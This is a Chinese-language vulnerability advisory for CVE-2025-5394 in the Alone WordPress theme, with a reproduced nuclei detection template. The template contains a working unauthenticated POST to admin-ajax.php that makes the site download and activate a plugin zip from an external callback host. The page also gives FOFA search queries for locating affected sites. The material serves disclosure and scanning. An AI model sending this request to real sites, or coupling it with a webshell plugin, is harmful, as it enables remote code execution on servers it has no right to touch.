Alone Theme 未授权任意插件上传漏洞

漏洞信息

漏洞名称： Alone Theme 未授权任意插件上传漏洞

漏洞编号：

• CVE： CVE-2025-5394

漏洞类型： 文件上传

漏洞等级： 严重

漏洞描述： Alone Theme 是一款专为慈善和非盈利组织设计的WordPress主题，广泛用于搭建慈善、募捐和非盈利组织的网站。该主题在7.8.3及之前版本中存在一个未授权任意文件上传漏洞，攻击者可以利用此漏洞上传包含恶意代码的插件压缩包，进而实现远程代码执行。漏洞的根源在于alone_import_pack_install_plugin()函数缺乏对用户权限的检查，导致未认证的攻击者也能上传文件。这一漏洞使得攻击者能够上传伪装成插件的webshell压缩包，从而在服务器上执行任意代码，对网站安全构成严重威胁。由于攻击无需认证，且可以自动化执行，因此该漏洞的风险等级被评定为严重。建议用户尽快升级到7.8.5或更高版本以修复此漏洞。

产品名称： Alone – Charity Multipurpose Non-profit WordPress Theme

影响版本： version <= 7.8.3

搜索语法： body=”/wp-content/themes/alone/“

来源： https://github.com/projectdiscovery/nuclei-templates/blob/ac9d648334d1b5113a647a912c855a6d9e911dbf/http%2Fcves%2F2025%2FCVE-2025-5394.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2025-5394

info:
  name: Unauthenticated Arbitrary Plugin Upload in Alone Theme
  author: Nxploited,DhiyaneshDK
  severity: critical
  description: |
    The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.
  impact: |
    This makes it possible for unauthenticated attackers to upload zip files containing webshells disguised as plugins from remote locations to achieve remote code execution.
  remediation: Fixed in 7.8.5.
  reference:
    - https://github.com/Nxploited/CVE-2025-5394/tree/main
    - https://x.com/cloudflare/status/1951319364856058035?s=46
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/themes/alone/"
    fofa-query: body="/wp-content/themes/alone/"
  tags: cve,cve2025,unauth,file-upload,intrusive,rce

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=beplus_import_pack_install_plugin&data%5Bplugin_slug%5D=&data%5Bplugin_source%5D=https%3a%2f%2f{{interactsh-url}}%2fplugin%2f%7b%7b{{randstr}}%7d%7d.zip

    skip-variables-check: true

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, '\"success\":true','\"substep\":\"activate\"')
          - contains(content_type, 'application/json')
          - status_code == 200
        condition: and